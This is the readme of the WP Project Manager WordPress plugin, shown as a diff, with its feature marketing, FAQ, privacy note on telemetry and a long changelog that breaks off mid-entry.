charts === +Contributors: tareq1988, nizamuddinbabu, wedevs, asaquzzaman +Donate Link: https://tareq.co/donate/ +Tags: project, project manager, project management, kanban board, gantt charts, task manager, team collaboration tool +Requires at least: 4.4 or higher +Tested up to: 6.0.1 +Requires PHP: 5.6 +Stable tag: 2.6.0 +License: GPLv2 or later +License URI: http://www.gnu.org/licenses/gpl-2.0.html + +The WP Project Manager makes task scheduling, project management, and team collaboration simpler than ever. Manage your projects with a Kanban board, Gantt charts, and different integrations like GitHub, Bitbucket, Slack & BuddyPress. + +== Description == + +**Best Project Management Tool for WordPress** + +Being one of the most advanced project management and task management tools for WordPress, [WP Project Manager comes](https://wedevs.com/wp-project-manager-pro) with some of the exceptional features that turn your project management experience of your teammates a joyful ride. Super-charge your productivity by creating, organizing, and assigning tasks within a few clicks. +Its user-friendly interface and web-based task management feature enable the user to complete their to-dos quicker than ever. +[youtube https://www.youtube.com/watch?v=GI4u8wXOxHg] +Effortlessly get your team to complete all the projects timely with its time tracking tool and generate an advanced performance report with its built-in reporting feature absolutely hassle-free. This cutting-edge innovative project management solution is termed as one of the more reliable open source Project Manager software for WordPress. +So now you can through your headache of being able to manage the project efficiently out of the window with this super-efficient project management application. + +Want to give it a try? Then try its 👉 [FREE OFFICIAL DEMO](https://pm.wedevsdemos.com/wp-login.php) + +**🎯 Key Features of WP Project Manager FREE 🎯** + +**🗓 To-do List** + +* Add as many to-do lists as you want with titles and description +* Add tasks, assign users, assign a due date +* See the progress bar on the list +* Add comments, descriptions, and titles on individual to-do lists and to-do’s +* Mark to-do as complete/incomplete + +**🎯 Milestone** + +* 3 types of milestones are there, a) upcoming, b) completed and c) late milestone +* Assign messages and to-do list on milestone + +**💬 Messages** + +* Messages are used for discussing the project with co-workers of that project +* You can add attachments to messages +* Edit and stylize messages +* Comments can be made for discussion or collaboration + +**🗂 Files** + +* File sharing feature to ensure better understanding and workflow between co-workers. +* Upload all files on messages and comments and navigate to individual attached threads. +* Upload and share any file anytime in one place (Pro). + +**🔔 Dynamic Notification** + +* Email notification to keep the users updated about their assigned, upcoming or outdated tasks. +* Control who will receive which notification from settings (Pro). + +**🔄 Pusher Integration** + +* Get a real-time notification for your project management activities with push notifications. +* You will receive notifications for assigning team members, mentioning in comments, creating tasks, and updating task status. + +👉 [Learn more about all the functions and features from our documentation](https://wedevs.com/docs/wp-project-manager/). + +**💎💥🏆 === Powerful Pro Features of WP Project Manager ===🏆💥💎** + +**[👉 Managing projects from frontend](https://wedevs.com/docs/wp-project-manager/managing-projects-from-wp-project-manager-frontend/)** (Pro) + + * Let your users be able to view your projects from the frontend + * WP Project Manager lets you manage projects without going to the backend interface. + +**[👉 Kanban Board for WordPress](https://wedevs.com/products/plugins/wp-project-manager-pro/kanban-board/)** (Pro) + + * Create unlimited custom kanban boards according to your need for better workflow visualization and project management. + * Drag and drop tasks from one board to another anytime. + * Create new tasks right from any board whenever you want with WP Project Manager + * Get an exact idea of the current stages of all the tasks from one place in the WP Project Manager with the Kanban board. + +**[👉 Gantt Chart for WordPress](https://wedevs.com/products/plugins/wp-project-manager-pro/gantt-chart/)** (Pro) + + * Observe the duration of the tasks through horizontal bar graphs with WP Project Manager + * Change the beginning and finishing dates of the tasks or projects. + * Assess dependencies among different tasks and subtasks with Gantt charts. + +**[👉 Time Tracker](https://wedevs.com/products/plugins/wp-project-manager-pro/time-tracker/)** (Pro) + + * Timer with start, stop or pause feature for every task. + * Calculation and tracking of time spent on a task. + * Payment for hourly charged workers is made easy. + +**[👉 Invoice for Charging Clients](https://wedevs.com/products/plugins/wp-project-manager-pro/invoice/)** (Pro) + + * Invoices will be automatically formatted based on your input in WP Project Manager. + * Upon payment completion, the amount will be added to your account and the invoice will be automatically marked as paid. + * Invoices can be downloaded as pdf on WP Project Manager pro + +**[👉 Interactive calendar](https://wedevs.com/docs/wp-project-manager/managing-projects/calendar/)** (Pro) + + * Check tasks progress with WP Project Manager. + * Dynamic and interactive drag-and-drop functionality to assign tasks. + * Daily, weekly, monthly and user-specific view in the calendar. + +**[👉 Stripe Gateway](https://wedevs.com/wp-project-manager-pro/extensions/invoice-stripe-gateway/)** (Pro) + + * WP Project Manager lets your clients pay using stripe gateway. + * Automate the billing process with predefined project templates of the WP Project Manager. + +**[👉 BuddyPress for WordPress](https://wedevs.com/products/plugins/wp-project-manager-pro/buddypress/)** (Pro) + + * Create different tasks for different teams using WP Project Manager. + * Set administrative staff with access to all departments + * Set different permissions for different employee roles. + * Manage everything using WP Project Manager from the front end of your site. + +**[👉 SubTask for more simple task management system](https://wedevs.com/products/plugins/wp-project-manager-pro/sub-task/)** (Pro) + + * Break your long tasks into as many portions as you need. + * Assign several team members for several tasks. + +**[👉 WooCommerce Integration](https://wedevs.com/products/plugins/wp-project-manager-pro/woocommerce-order/)** (Pro) + + * You can create a project automatically after the order or the payment is processed. + * Control which product will create what type of project and task. + * Add and manage user roles like co-workers, managers, and clients to the Projects and Tasks. + + +**[👉 Advanced Files Management](https://wedevs.com/docs/wp-project-manager/managing-projects/files-wp-project-manager/)** (Pro) + + * Upload all files in one place. + * Create folders for different files using WP Project Manager. + * Link messages & task lists with files. + * Make files private. + + +**[👉 Slack Integration](https://wedevs.com/docs/wp-project-manager/integrations/slack/)** (Pro) + + * Integrate your WP Project Manager Pro with the best workspace communication tool - Slack + * Get instant notifications on your Slack channels when a new task, subtask, or comment is created or an existing one is modified. And also when a task is completed or a new co-worker is added. + +**[👉 GitHub and Bitbucket Integration](https://wedevs.com/docs/wp-project-manager/integrations/github-bitbucket/)** (Pro) + + * Connect your GitHub and Bitbucket account with WP Project Manager easily. + * When issues will be created on your GitHub and Bitbucket accounts, they will be added to your task list. So, your developer team can take action in time. + +**[👉 Advanced Reports with Insights](https://wedevs.com/docs/wp-project-manager/reports/view-reports/)** (Pro) + + * To make your project management efficient, you need to have reports for tasks and user activities. It will help you to make the right decisions for your projects and team. + * You will get several predefined report cases depending on the user activities with the WP Project Manager. The reports are very much self-explanatory. You will get, + + **1. Overdue Tasks** + **2. Completed Task** + **3. User Activities** + **4. Task by Milestone** + **5. Unassigned Tasks** + **6. Summary** + +👉 [GET WP PROJECT MANAGER PRO](https://wedevs.com/wp-project-manager-pro/pricing) + +**STANDOUT FUNCTIONALITIES OF WP PROJECT MANAGER** + += EFFICIENT TASK MANAGER WITH INTUITIVE INTERFACE = + +Manage all types of tasks and projects in the least time possible. The interactive user-friendly interface will not only give you a smooth experience but also assist you to boost overall efficiency. + += TEAM COLLABORATION MADE EASY = + +With a built-in discussion thread and file sharing option, make the most out of teamwork without any hassle. Easily work simultaneously with remote teams with this team collaboration tool for WordPress. + += BEST FIT FOR ANY KIND OF TEAMS = + +No matter which team or organization you are running, WP Project Manager ensures the best outcome for all kinds of teams. This is why this plugin has become the favorite open source project management software for every team and individual. + += FULL CONTROL OVER PRIVACY AND SECURITY = + +No compromise with privacy and permission among the tasks or projects. With user role customization and team permission feature (Pro), manage who can see or who can manage which project very easily. + += PERSONAL DASHBOARD FOR USERS = + +Everyone gets their own dashboard to stay updated about tasks in the most organized way. From this personal board, a user will be able to access only the projects and tasks he is allowed to see. + +**So still wondering why WP Project Manager should be your first choice in task management plugins?** + +👉 [Check out this complete comparison of WP Project Manager with other popular project management solutions.](https://wedevs.com/wp-project-manager-pro/compare/) +👉 [Learn more about all the functions and features from our documentation.](https://wedevs.com/docs/wp-project-manager/) + += SEE HOW WP PROJECT MANAGER HAS BEEN RECOGNIZED BY THE TOP SITES = + 1. [Top 20 WordPress Plugins for Freelancers to Improve Their Workflow](https://colorlib.com/wp/freelance-plugins-wordpress/) + 2. [9 Best WordPress Project Management Plugins](https://blog.hubspot.com/website/best-wordpress-project-management-plugins) + 3. [Top 8 Project Management Plugins For WordPress](https://www.elegantthemes.com/blog/tips-tricks/top-8-project-management-plugins-for-wordpress) + 4. [Top 9 Premium WordPress Project Management Plugins](https://www.hostinger.com/tutorials/wordpress-project-management#Top_9_Premium_WordPress_Project_Management_Plugins) + 5. [13 Best WordPress Project Management Plugins in 2022](https://wplift.com/best-wordpress-project-management-plugins) + += LEARN HOW YOU CAN LEVERAGE YOUR PRODUCTIVITY TOOL TO THE FULLEST = + + 1. [How weDevs Has Been Using WP Project Manager Successfully For Collaboration](https://wedevs.com/145814/how-wedevs-has-been-using-wp-project-manager-successfully-for-collaboration/) + + 2. [How Project Management Tools Help You Reach Milestones](https://wedevs.com/120384/how-project-management-tools-help-reach-milestones/) + + 3. [How WP Project Manager Makes Managing Milestones Even Better](https://wedevs.com/104306/manage-milestones-wordpress-project-manager/) + + 4. [How To Use WordPress Project Manager To Build A Successful Remote Team Painlessly](https://wedevs.com/89644/how-to-use-wordpress-project-manager-to-build-a-successful-remote-team-painlessly/) + + 5. [Create Project Automatically for Your WooCommerce Order & Save Time](https://wedevs.com/100764/create-projects-automatically-woocommerce-order/) + +**CONTRIBUTE** + +If you think you can help develop this plugin even better then you can always more than welcome to contribute to this project. Please fork the repository from [Github](https://github.com/weDevsOfficial/wp-project-manager). + +**OUR VALUABLE CONTRIBUTORS** + +* French translation by Corentin allard +* Dutch translation by eskamedia +* Brazilian Portuguese translation by Anderson +* German translation by Alexander Pfabel +* Spanish translation by Luigi Libet +* Indonesian translation by hirizh +* Polish translation by Jacek Synowiec + +**CHECKOUT OUR OTHER AWESOME PRODUCTS** + +* [Dokan – Multivendor Marketplace Plugin](https://wedevs.com/dokan/?utm_medium=referral&utm_source=wporg&utm_campaign=Project+Manager+Readme&utm_content=Dokan+Multivendor+Marketplace) +* [WP User Frontend Pro](https://wedevs.com/wp-user-frontend-pro/?utm_medium=referral&utm_source=wporg&utm_campaign=Project+Manager+Readme&utm_content=WP+User+Frontend+Pro) +* [WordPress ERP](https://wperp.com/?utm_medium=referral&utm_source=wporg&utm_campaign=Project+Manager+Readme&utm_content=WPERP) +* [WooCommerce Conversion Tracking](https://wedevs.com/woocommerce-conversion-tracking/) +* [weMail](https://getwemail.io/) +* [Appsero](https://appsero.com/) +* [Happy Addons](https://happyaddons.com/?utm_source=wedevs&utm_medium=menu) +* [wePos](https://wedevs.com/wepos) + +== Privacy Policy == + +WP Project Manager uses [Appsero](https://appsero.com) SDK to collect some telemetry data upon user's confirmation. This helps us to troubleshoot problems faster & make product improvements. + +Appsero SDK **does not gather any data by default.** The SDK only starts gathering basic telemetry data **when a user allows it via the admin notice**. We collect the data to ensure great user experience for all our users. + +Integrating Appsero SDK **DOES NOT IMMEDIATELY** start gathering data, **without confirmation from users in any case.** + +Learn more how [Appsero collects and uses this data](https://appsero.com/privacy-policy/). + +Additionally, read weDevs [privacy policy](https://wedevs.com/privacy-policy/) for a better idea. + +== Installation == + +Extract the zip file and just drop the contents in the wp-content/plugins/ directory of your WordPress installation and then activate the Plugin from Plugins page. + +== Frequently Asked Questions == + += Q. Why doesn't it shows up in frontend = +A. Currently all the project management options resides in the admin panel. No functionality shows up in frontend right now. + += Q. Who can create projects? = +A. Only Editors and Admin's can create projects and edit them. + += Q. Who can create tasklist, todo, messages or milestones? = +A. Admins and every co-workers from a project can create these. + += Q. Can every member see every project? = +A. Only admins (editor/administrator) can see all of them. Other user roles can only see their assigned projects. + += Q. Can the WP Project Manager plugin be extended? = +A. Sure, lots of actions and filters are added by default and will add more of them. + += Q. Found a bug on WP Project Manager = +A. Found any bugs? Please create an [issue](https://github.com/tareq1988/wp-project-manager/issues) on github. + +== Screenshots == + +1. Project dashboard. You can see all your projects from here and can create new one. +2. New project creation pop-up window +3. Project overview page. See the activities going on in a single page at a glance. +4. Project actvities feeds grouped by date. See what you or your team has done in a project. +5. To-do list page. View all your to-do lists and to-do's inside them. +6. Create to-do list form +7. Create a task in a to-do list. Add task title, additional details, assign multiple users and set dates. +8. Discussions page. Discuss with your team with various topics. +9. Single discussion thread. Hop-in to a discussion and brainstorm with your team. +10. Milestones page. Set milestones for a project and assign tasks, discussions on them and see the progress of that milestone. Mark complete once its done. +11. See all the shared files across various to-do lists, to-do's and comments. All the attached files can be found in one place. +12. Project settings -> General Tab +13. Project Settings -> Email Settings Tab + + +== Changelog == + += v2.6.0 - Nov 30, 2022 = + +**New:** Added pm pro version overview for lite users + += v2.5.0 - July 15, 2022 = + +**Update:** Compatibility with PHP-8.x +**Update:** Improved codebase to make performance better +**Fix:** Fixed some translation issues + += v2.4.18 - March 28, 2022 = + +**Fix:** Fixed Project Searching hover project links. (Issue #437) +**Fix:** Fixed Some Role Permission assign issue after creating project. + += v2.4.17 - Feb 07, 2022 = + +**Notice:** Limited time promotional notice on Super Bowl sale + += v2.4.16 - Dec 23, 2021 = + +**Fix:** Discussion file url was not downloadable for PDF +**Notice:** Limited time promotional notice on holiday sale + += v2.4.15 - Nov 11, 2021 = + +**Update:** ChartJS libraries from v2.x to v3.6.0 +**Update:** Removed dummy data, unused files and external cdn links to improve and clean the whole codebase +**Fix:** Data escaping and sanitization issues all over the plugin +**Fix:** Some i18n translation, wrong text-domain issues +**Notice:** Limited time promotional offer regarding Black Friday and Cyber Monday + += v2.4.14 - Oct 11, 2021 = + +**Fix:** Data sanitization and validation issues to prevent security threats +**Fix:** Timezone issues in My Calendar +**Fix:** Task file downloading issue by other member of project assignee list +**Fix:** After Task Create Email, `undefined offset` issue in template footer +**Fix:** User assign issue from Project Overview page +**Fix:** Unassigned Reports were not loading +**Notice:** Limited time promotional offer for Halloween + += v2.4.13 - July 16, 2021 = + +**Notice:** Limited time promotional offer regarding summer sale +**Update:** Calendar event content styles +**Update:** Some library upgrade for better performance +**Fix:** My Task report was not getting accurate result in some cases +**Fix:** My Calendar single task was unable to be moved +**Fix:** After creating a task, it was not updating instantly in ‘My Calendar’ and ‘My Task at a Glance’ section +**Fix:** Authentication issues on some un-authenticated API endpoints like tasks, task types, activities + += v2.4.12 - May 07, 2021 = + +**Notice:** Limited time promotion on account of Eid. + += v2.4.11 - March 17, 2021 = + +**Notice:** Limited time promotion for weDevs’ birthday. + += v2.4.10 - Feb 13, 2021 = + +**Fix** Vulnerable security issue. + += v2.4.9 - Jan 26, 2021 = + +**Fix** Email notification was showing the wrong task completed user name. +**Fix** Every member can see every project. +**Fix** First-time task lists were not loading from the notification email. +**Update** Alignment problem when creating the new project. + += v2.4.8 - Dec 18, 2020 = + +**Update** Task query updated for filtering tasks by complete_at date range. +**Fix** Completed tasks were not showing on my-task. +**Fix** Made the icons inline alignment on the subtask create form. + += v2.4.7 - Dec 10, 2020 = + +**Update** PSR-4 standard. +**Fix** Project pagination was not working when all projects are deleted from the current page. +**Fix** Fixed the task pagination problem. It was not working when a task is deleted. + += v2.4.6 - Nov 21, 2020 = + +**Fix** User capability is not chanting after save it. +**Fix** User can not access their reports from my-task. +**Fix** Email footer logo is not appearing. + += v2.4.5 - Nov 11, 2020 = + +**New** Help tooltip in single task. +**Update** Rewrite email template. +**Fixed** Pagination back button is not working for project page. + += v2.4.4 - Oct 08, 2020 = + +**New** Introduce new library simshaun/recurr. +**New** Added the remove format option in project manager text editor. +**Fixed** In text editor, after type '@' the list of users exceeds outside of the modal. +**Fix** Task assigned all users can change the task type. +**Fix** User can not delete their own created task comments. +**Fix** Remove the HTML tag from milestone title. + += v2.4.3 - Sep 10, 2020 = + +**Update** In dashboard project menu bar has been rearranged. +**Update** In single task now user can navigate to project and task list. +**Fix** Co-worker can not be deleted in self created task comment. +**Fix** In frontend project manager date picker was not showing in single task. +**Fix** In my task, task create form did not change the list even the project has been change. +**Fix** Project title was missing from my-task. + += v2.4.2 - Aug 26, 2020 = + +* **Fix** Single task popup is not appearing. + += v2.4.1 - Aug 25, 2020 = + +* **New** Add new task type for individual task. +* **Fix** During task update the date picker was not showing. +* **Fix** Was not able to delete the task list description. +* **Fix** Optimize code for security issue. +* **Fix** Task list title was not able to update. +* **Fix** Completed project was not able to restore. + += v2.4.0 - Jul 17, 2020 = + +* **New** Component for pm-vue2-daterange-picker, pm-button, pm-do-slot. +* **New** Change all date picker from all forms. +* **New** Manage do-action content without any wrapper. +* **New** API end point is now working for all permalink. +* **Update** UI/UX for creating new task. +* **Update** UI/UX for add new members from single task popup. +* **Update** UI/UX for task due date from single task popup. +* **Fix** Could not download files from the project. + += v2.3.11 - Jun 16, 2020 = + +* **Fix** API end point is now working for all permalink. +* **Fix** My-task calendar missing current date task. +* **Fix** In my-task, The task is not updating after user closing the single task popup. +* **Fix** In My- task user can not select the date range during task create time. +* **Fix** User can not delete self created task-list. +* **Fix** In content text should not break in middle of the word (style change break-all to break-word). + += v2.3.10 - May 05, 2020 = + +* **Fix** Task load more is not working for co-worker. + += v2.3.9 - Apr 30, 2020 = + +* **New** New function for getting tasks, messages, milestones, discussions, projects, comments, files, users. +* **New** Project description shows upon clicking on the description button. +* **Update** Load more buttons showing twice after deleting completed task. +* **Fix** On My task overview graph showing error when there are no task. +* **Fix** Task assigned date is not showing in a single task popup. +* **Fix** Progress bar continue loading after clicking on Clear button on the task filter. + += v2.3.8 - Mar 12, 2020 = + +* **New** Add fileter for removing project unique title. +* **Fix** Fixing Multiside completable issues. +* **Update** Update query for fetching users to make Multi-site compatible. + += v2.3.7 - Feb 27, 2020 = + +* **Fix** In favorite project section 'all projects' were showing. +* **Fix** Task notification mails contain raw HTML. +* **Fix** Set 200 character limit when adding a new task. + += v2.3.6 - Feb 10, 2020 = + +* **New** Set date range picker in my-task section to filter tasks. +* **New** Set date range picker in my-task overview to filter activities. +* **New** Duplicate a task from the task list. +* **New** New components are, pm-button, pm-dropdown-menu, pm-triangle-box, pm-click-wrap, pm-popup-modal, pm-date-range-picker. +* **Update** Redesigned task-create form. +* **Update** Replace jQuery date picker to date range picker. +* **Update** Some features are moved from task create a form to a single task page. +* **Fix** Assigned manager in a project was not getting mail at project creation time. +* **Fix** Make Multi-site compatible for fetching co-workers. +* **Fix** Invisible tools menu for co-workers. +* **Fix** Co-workers could not edit their created task. +* **Fix** 'Inbox' task create form was showing for all pagination pages. +* **Fix** Showing invalid date after searching outstanding task. +* **Fix** Favorite project was not working. + += v2.3.5 - Dec 19, 2019 = + +* **New** Add privacy policy in the product description. +* **Fix** Sanitize data while updating task. +* **Fix** Add extra data validation on the database query. + += v2.3.4 - Nov 15, 2019 = + +* **Fix** Task label are inserted two times while updating the task. +* **Fix** Task update buttons can not be selected for the tooltip. +* **Update** Project assigned users has been removed from user search results. +* **Update** Add text limit on task title. + += v2.3.3 - Nov 10, 2019 = + +* **New** Integrate with Pusher for real time notification. +* **New** Include seeder for project, task-list and task. +* **New** Set filter in project fetch 'join' and 'where' query. +* **Fix** Task update popover menu used to break when task title was long. +* **Update** Reset button on task-list search. + += v2.3.2 - Oct 10, 2019 = + +* **Fix** Conflict with elementor. +* **Update** Toastr library. + += v2.3.1 - Sep 26, 2019 = + +* **New** User can create new task from my-task section. +* **New** Sorting my-task table column. +* **Update** My-tasks menu is not appear in front-end. +* **Update** Reduce loading executing time for project home page. +* **Update** Refactoring code for getting projects data. + += v2.3.0 - Sep 09, 2019 = + +* **New** Remove current task, outstanding task and completed task tabs from my tasks. +* **New** Advanced task filtering option according to current task, outstanding task and completed task in my tasks section. +* **New** pm_capabilities, pm_role_project, pm_role_project_capabilities, pm_role_project_users table for permission management. +* **Update** Change single task popup url from my-task to single task lists. +* **Fix** Progress load more is not working. + += v2.2.4 - Jul 22, 2019 = + +* **New** Task title field in task list search form. +* **Fix** Task sorting is not working. +* **Fix** Prevent sorting for default task list (Inbox). +* **Update** Showing 'more task' button even there is not task. + += v2.2.3 - Jul 15, 2019 = + +* **Update** Task list search query. +* **Fix** After drag and drop task is not updating from my-task calendar. +* **Fix** Milestone disapear after reloding the page. + += v2.2.2 - Jun 28, 2019 = + +* **New** Action hook in task list page 'pm_after_task_content'. +* **New** Event initiation after task user update 'after_update_single_task_user'. +* **New** Action hook before delete task list 'pm_before_delete_task_list'. +* **Update** User gets mail at task updating time even the task is not updated. +* **Update** Archived tasks will not appear on MyTask calendar. +* **Update** New tasks are listing in the descending order in the task lists. +* **Fix** User can remove administrator from manage capability permission. +* **Fix** Inbox task list does not appear at the top of the task lists. +* **Fix** compact(): undefined index variable problem for php 7.3 +* **Fix** Text domain 'pm' to 'wedevs-project-manager'. +* **Fix** Task lists menu is not activating while clicking pagination. + += v2.2.1 - Jun 14, 2019 = + +* **Fix** Fatal error undefined function. + += v2.2.0 - Jun 14, 2019 = + +* **New** Added my task menu from where individual users can check their completed, current and outstanding tasks. +* **Fix** Assigned users can not find the task description. +* **Fix** Add new user in project does not appear in task users dropdown at task create or edit time. +* **Fix** A newly added user in a project did not appear in the dropdown i.e in the list of users while adding, creating or editing a task. +* **Fix** User can not udpate task comment from single task popup. +* **Fix** A newly added user does not appear in project update form. + += v2.1.0 - May 18, 2019 = + +* **New** Trello Integration. +* **Fix** Fixed co-worker & client create task activities. +* **Fix** Removed usermap from global setting. +* **Fix** Removed unnecessary dashicons and added title to files. +* **Fix** Resolved conflict from setting header. +* **Fix** Fixed project edit form get closed when user click out side. + += v2.0.15 - May 02, 2019 = + +* **Fix** Load more Completed & Incompleted task. +* **Fix** Pagination slug of completed task. +* **Fix** Optimize task queries for retrieving task ids. +* **Fix** The naming of variable "$milestones" to "$milestone" at filter 'pm_milestone_show_query' + += v2.0.14 - April 11, 2019 = + +* **New** Included filter at task activity and after create comment. +* **Update** Remove search user minimum 3 character condition. +* **Update** Remove tooltip from list view and kanboard view button. +* **Update** Migrated from icomoon to Flaticon. +* **Fix** API authentication problem. +* **Fix** Some textdomain. + += v2.0.13 - March 04, 2019 = + +* **New** Set loading effect for 'Load more' task. +* **New** Set loading effect at task list page and list archive page nevigation. +* **New** Set loading effect at task list pagination. +* **New** New library v-tooltip +* **Fix** Any kinds of url added extra from tinymce text filed. +* **Fix** After project edit, the description is not updated real time. +* **Fix** Less file is not built to css file. +* **Update** Set target blank in tinymce posted url. + += v2.0.12 - Feb 15, 2019 = + +* **New** New filter welcome page redirect. +* **Fix** Task pagination did not work. +* **Fix** Close button did not work in new project form. +* **Fix** Milestone due date did not update. +* **Update** Set permission at user create time from project overview page. + += v2.0.11 - Feb 08, 2019 = + +* **New** Integrate with popper js. +* **New** Welcome page. +* **New** Premium page. +* **Fix** Change task list fetch query. +* **Fix** Change task fetch query. +* **Fix** File upload problem from discussion section. +* **Fix** After close single task the list page is refreshing. +* **Fix** Remove html tag from email content. +* **Fix** Color picker does not work. + += v2.0.10 - Dec 19, 2018 = + +* **Hotfix** Fatal error at page and post edit time. + += v2.0.9 - Dec 19, 2018 = + +* **New** Update user from overview page. +* **New** Move tasks from one list to another. +* **Update** Permission for project delete. +* **Fix** Project update time dialog-box close automatically. +* **Fix** Conflict with text editor and datepicker problem for task create. +* **Fix** Date-picker auto close, when select a date. +* **Fix** Coding standard according wordpress. + += v2.0.8 - Nov 29, 2018 = + +* **New** Project home page redesign. +* **New** Close single task popup with ESC button. +* **New** Single task popup is enable from activity page. +* **Update** Task filter form alignment. +* **Fix** Relative date for comments. +* **Fix** Tabindex for texteditor. +* **Fix** Latest activity for single task. +* **Fix** More task button missing from completed tasks. +* **Fix** Date picker auto hide problem. +* **Fix** Task list responsive issue. +* **Remove** Slicknav library. + += v2.0.7 - Nov 08, 2018 = + +* **New** Switch project with key binding cmd+j/clt+j. +* **New** Task list page redesign. +* **New** Single task list page redesign. +* **New** System default task list inbox. +* **New** All description fields with validation and sanitization at edit time. +* **New** Project title should be unique. +* **Fix** Task filter query. +* **Fix** Task and task-list sorting supported in mobile. + += v2.0.6 - Oct 02, 2018 = + +* **New** Set permission setting for user mail notification. +* **New** Task single page redesign. +* **New** Show activity in single task page. +* **New** Projects can mark as favourite by users. +* **New** Added completed_by and completed_at fields in pm_tasks database table. +* **New** Added status field in pm_broad database table. +* **New** Support for video file upload. +* **New** New user notification. +* **New** Advanced task filter from task list page. +* **New** Set deleted activity log in activity section. +* **Fix** Invalid time issue in activity page. +* **Fix** Overview graph for last 3o days activity +* **Fix** Get email notification when update discussion + += v2.0.5 - August 16, 2018 = + +* **New** Added filters for getting custom query in all transformers. +* **New** Project description in html format. +* **Fix** Undefined task title from activity. +* **Fix** Single task popup close automatically. +* **Fix** Activity count when delete an element. +* **Fix** Manage capability return false, when user role is not found. +* **Fix** Some translation issues. +* **Fix** Some compatibility issue on internet explorer. +* **Fix** Task assignee input field is not updating when assignee user field is Empty +* **Fix** Task list milestone input field is not updating when milestone is Empty + += v2.0.4 - July 27, 2018 = + + * **Fix** Download link for wedevs project manager php-5.6. + += v2.0.3 - July 27, 2018 = + + * **New** List drag, drop and reorder. + * **New** Task independently switch in task lists. + * **New** Added categry pagination. + * **Fix** Date format problem for task and overviews graph. + * **Update** Activity date format change. + * **Update** Load All Categories in select form. + * **Update** Load all HTTP request with GET and POST methods. + += v2.0.2 - July 23, 2018 = + + * **New** Create function for getting individual task. + * **New** Hook for all CRUD (Create, Read, Update and Delete) + * **Fix** Task complete and incomplete issues in microsoft edge browser. + * **Fix** Pagination set -1 for per page and its getting error. + * **Fix** Multisite installation and upgrade. + * **Fix** Translation for vue files. + * **Fix** Fetch project in single task page. + * **Fix** Reduce conflict with WPERP plugin. + * **Fix** JS make compitable with IE>8. + += v2.0.1 - Jun 29, 2018 = + + * **Fix:** Fix database migration problem upon updating the plugin. + += v2.0 - Jun 28, 2018 = + + * **BREAKING**: This **v2.0** release is a major version and introduces breaking changes by re-writing the whole plugin. Please test the plugin before updating from v1.x. Taking a **database backup** is adviced. + * **New:** REST API added. Now you can access everything of project manager via the API. Creating of mobile apps would be much easier. + * **New:** Moved from custom post type to custom database tables, which performs a lot faster. + * **New:** We have re-written the Project Management UI, powered by [Vue.js](https://vuejs.org/). This introduces a SPA (Single Page Application) with blazing fast page loading and a snappier user experience. + * **Bug Fixes:** We have also squashed a lot pesky bugs under the hood. + += 1.6.16 - Jun 11, 2018 = + + * [fixed] Project title is overlaping on RTL language. + * [fixed] Could not select project category while creating/editing a project. + * [fixed] Single task is not re-rendering + += 1.6.15 - May 10, 2018 = + + * [fixed] Task list is not showing when using the Internet Explorer browser. + * [fixed] Projects dashboard display missing alignment. + * [Update] Improved plugins text domain. + += 1.6.14 - April 26, 2018 = + + * [fixed] Task is not showing after clicking on a task from the calendar. + * [fixed] Mail notificaation system not working. + * [fixed] Category menu selection while creating project not working on RLT. + * [fixed] RTL display missing alignment on milestone. + += 1.6.13 - April 12, 2018 = + + * [fixed] RTL display missing alignment. + * [fixed] Settings menu is not showing properly on projects header. + * [fixed] Project settings page translation not working. + += 1.6.12 - March 22, 2018 = + + * [fixed] Showing HTML markup in task descriptions when we enter plain text. + * [fixed] To-do list, Discussion, milestone, page translation not working. + * [fixed] Projects page translation not working. + * [update] Improved plugin strings. + += 1.6.11 - February 26, 2018 = + + * [fix] Notify users while commenting in a task. + * [fix] Trix-editor intregration with the WP ERP. + * [fix] Compatible with the Microsoft Edge browser. + * [fix] Task re-ordering. + * [fix] Project list and grid view compatible with all browsers. + += 1.6.10 - November 27, 2017 = + + * [new] Vuejs loading made compact. + * [new] Included vuejs in project file. + * [update] Included file download attributes. + * [update] Notify manager when updating comments. + * [fix] Navigate to a task from the calendar. + * [fix] User search problem fixed when creating a project. + * [fix] Text editor style problem fixed. + + += 1.6.9 - August 24, 2017 = + + * [fix] CPM free loader class active after loading WP all plugins + * [fix] All co-workers get mail after completed the task + * [new] weForms Upsell Class + += 1.6.8 - August 17, 2017 = + + * [fix] Prevent the loading trix-editor for all WP page. + * [fix] Text formating retained got from others editor. + * [fix] Creating second task does change the date of first task. + * [new] Add new component cpm-datepicker + += 1.6.7 - August 01, 2017 = + + * [new] Js Tiptip library has been added. + * [update] Condition applied when showing calendar on setting tast start date. + * [update] Date icon has been shown if no date was set. + * [update] Description icon has been shown if no description was set. + * [update] Co-Worker icon has been shown if no Co-Worker was set in the task. + * [fix] Double date picker shown at task date update time. + * [fix] Undefined index errors. + += 1.6.6 - July 31, 2017 = + + * [new] Task title update from single task page. + * [new] Task privacy update from single task page. + * [new] Task description update from single task page. + * [new] Task start and end date update from single task page. + * [new] Add user/co-worker/client from single task page. + * [fix] Unable to complete task. + * [fix] When complete a task then this completed task shown double in the to-do list. + * [fix] Double "New To-Do" button shown. + * [update] 'Get project id' function always return false. + * [update] Design change for single task page. + += 1.6.5 - July 6, 2017 = + + * [fix] Co-worker can not show the list corner menu. + * [fix] Co-Worker could not notifying when add or update project. + * [fix] Double "New To-Do" button shown and also cpm-new-todolist-form has shown when clicked "New To-Do" List button. + * [fix] Project create permission. + * [fix] Get complete and incomplete task query + * [fix] Change routing effect at todo-list page to another page + += 1.6.4 - June 22, 2017 = + + * [new] Task list view on the right corner in to-do list section. + * [update] Notify co-workers on task completion. + * [update] Task update action hook. + * [update] Style sheets updated. + * [update] Some javascript refactored. + * [fix] Wrong color is showing for a task on basis of task competion status. + * [fix] PHP warning on project overview. + * [fix] PHP warning on my task overview. + += 1.6.3 - June 07, 2017 = + + * [new] Drag and drop sortability added to the task + * [update] Task color scheme. + * [update] Activity graph color scheme in my task section. + * [update] Single task redirection in my task section. + * [update] Project duplication. + * [update] Project overview section. + * [fix] Grid/List view action on project listing is not working. + * [fix] Project overview graph is not working. + * [fix] Not all users of a project is being duplicated when duplicating a project. + * [fix] Notification is sent to the co-workers when a project is created. + * [fix] Unable to comment in a task when it is redirected from current task in my task. + * [fix] Unable to comment in a task when it is redirected from outstanding task in mytask. + * [fix] Unable to comment in a task when it is redirected from competed task in my task. + * [fix] User selection is not working in my task. + * [fix] Date section is not working in activity graph in my task. + * [fix] Red color is showing for current task in my task. + * [fix] Overview section in my task is not working + * [fix] Activity section in my task is not working + * [fix] Current task section in my task is not working + * [fix] Outstanding task section in my task is not working + * [fix] Completed task section in my task is not working + * [fix] File attachment is not working when commenting in the 